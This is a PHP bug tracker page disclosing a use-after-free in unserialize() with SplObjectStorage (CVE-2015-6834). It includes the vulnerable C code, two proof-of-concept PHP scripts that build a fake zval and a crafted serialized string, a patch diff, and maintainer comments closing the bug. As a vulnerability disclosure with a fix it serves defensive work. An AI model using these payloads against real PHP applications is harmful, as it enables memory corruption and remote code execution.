php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70365 yet another use-after-free vulnerability in unserialize() with SplObjectStorage
Submitted: 2015-08-27 10:44 UTC Modified: 2015-09-09 10:08 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: *General Issues
PHP Version: 5.6.12 OS: *
Private report: No CVE-ID: 2015-6834
 [2015-08-27 10:44 UTC] taoguangchen at icloud dot com
Description:
------------
```
		ALLOC_INIT_ZVAL(pentry);
		if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			zval_ptr_dtor(&pentry);
			goto outexcept;
		}
		var_push_dtor(&var_hash, &pentry);
		if(Z_TYPE_P(pentry) != IS_OBJECT) {
			goto outexcept;
		}
		ALLOC_INIT_ZVAL(pinf);
		if (*p == ',') { /* new version has inf */
			++p;
			if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
				zval_ptr_dtor(&pinf);
				goto outexcept;
			}
		}
```

it has been demonstrated many times before that __wakeup() leads to ZVAL is freed from memory. and during deserialization will still allow to use R: or r: to set references to that already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely.

PoC:
```
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
	$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```

fix:
```
		ALLOC_INIT_ZVAL(pentry);
		if (!php_var_unserialize(&pentry, &p, s + buf_len, &var_hash TSRMLS_CC)) {
			zval_ptr_dtor(&pentry);
			goto outexcept;
		}
+		var_push_dtor(&var_hash, &pentry);
		if(Z_TYPE_P(pentry) != IS_OBJECT) {
			zval_ptr_dtor(&pentry);
			goto outexcept;
		}
		ALLOC_INIT_ZVAL(pinf);
		if (*p == ',') { /* new version has inf */
			++p;
			if (!php_var_unserialize(&pinf, &p, s + buf_len, &var_hash TSRMLS_CC)) {
				zval_ptr_dtor(&pinf);
				goto outexcept;
			}
+			var_push_dtor(&var_hash, &pinf);
		}
```


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-08-27 10:52 UTC] taoguangchen at icloud dot com
update PoC:

```
class obj {
	var $ryat;
	function __wakeup() {
		$this->ryat = 1;
	}
}

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$inner = 'x:i:1;O:8:"stdClass":0:{},i:1;;m:a:0:{}';
$exploit = 'a:5:{i:0;i:1;i:1;C:16:"SplObjectStorage":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;R:6;i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';

$data = unserialize($exploit);

var_dump($data);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}
```
 [2015-09-01 19:13 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-09-01 19:13 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-09-02 08:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=f06a069c462d37c2e009f6d1d93b8c8e7b713393
Log: Fix bug #70365 - use-after-free vulnerability in unserialize() with SplObjectStorage
 [2015-09-03 18:10 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=f06a069c462d37c2e009f6d1d93b8c8e7b713393
Log: Fix bug #70365 - use-after-free vulnerability in unserialize() with SplObjectStorage
 [2015-09-09 10:08 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-6834
 [2015-09-09 10:08 UTC] kaplan@php.net
Shared CVE between bugs #70172, #70365 and #70366.
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Mon Apr 24 07:01:38 2017 UTC